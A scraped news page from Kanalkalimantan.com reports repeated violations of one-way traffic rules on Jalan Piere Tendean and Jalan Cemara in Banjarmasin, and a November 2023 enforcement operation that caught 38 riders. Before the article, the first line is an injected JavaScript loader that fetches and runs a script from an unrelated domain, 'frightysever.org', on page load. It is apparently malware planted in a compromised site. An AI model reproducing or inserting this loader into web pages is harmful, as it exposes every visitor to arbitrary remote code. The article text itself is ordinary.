(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Meski sudah sekitar lima tahun diberlakukan Sistem Satu Arah (SSA) di Jalan Piere Tendean, Kota Banjarmasin, ternyata masih sering dilanggar para pengendara kendaraan bermotor.
Padahal, plang dan marka jalan sistem satu arah sudah terpasang jelas di kawasan Jalan Piere Tendean dari arah jembatan Pasar Lama menuju jembatan Merdeka.
Seperti pantauan Kanalkalimantan.com, Selasa (28/11/2023) siang, masih saja terlihat pengendara roda dua yang melanggar sistem satu arah di kawasan wisata Siring Menara Pandang tersebut.
Baca juga: Kebakaran di A Yani Km 7 Kertak Hanyar, Setelah Api di A Yani Km 8,600 Padam
Pengendara yang melanggar kebanyakan merupakan pengendara sepeda motor yang ingin mempercepat jarak tempuh.
Upaya Dinas Perhubungan (Dishub) Banjarmasin meminimalisir pelanggaran terus dilakukan. Dishub Banjarmasin bersama Satlantas Polresta Banjarmasin melaksanakan giat penindakan pelanggaran di sistem satu arah Jalan Piere Tendean dan juga Jalan Cemara Banjarmasin, Senin (27/11/2023).
Hasilnya, petugas berhasil menjaring sebanyak 18 pengendara yang kedapatan melawan arah di Jalan Piere Tendean.
Baca juga: Kampanye Dimulai, Politik Uang di Medsos Bermodus Give Away
Sementara di Jalan Cemara, terjaring sebanyak 20 pelanggar.
Kepala Bidang Lalu Lintas Dishub Banjarmasin, Febry Ghara Utama mengatakan, pelanggaran yang ditemukan pihaknya cukup beragam, salah satunya yaitu tidak mentaati sistem satu arah.
“Sudah ada rambu lalu lintas yang dipasang dan ada petugas dari Dishub Banjarmasin yang rutin berjaga masih saja ada yang melanggar,” katanya.
Baca juga: Fase Bulan Purnama, Masyarakat Pesisir Kalsel Diminta Waspada Banjir Rob
Selain Jalan Piere Tendean dan Jalan Cemara, Dishub Banjarmasin juga memberlakukan sistem satu arah di beberapa jalan lain, seperti di Jalan Pangeran Samudra kawasan Pasar Ujung Murung, Jalan Hasanuddin HM, dan Jalan RE Martadinata, dan Jalan Telawang.
“Dari banyak sistem satu arah yang diberlakukan selama ini, yang paling banyak pelanggar di Jalan Telawang, Jalan Piere Tendean, dan Jalan Cemara,” ungkap Kabid Lalin Dishub Banjarmasin. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.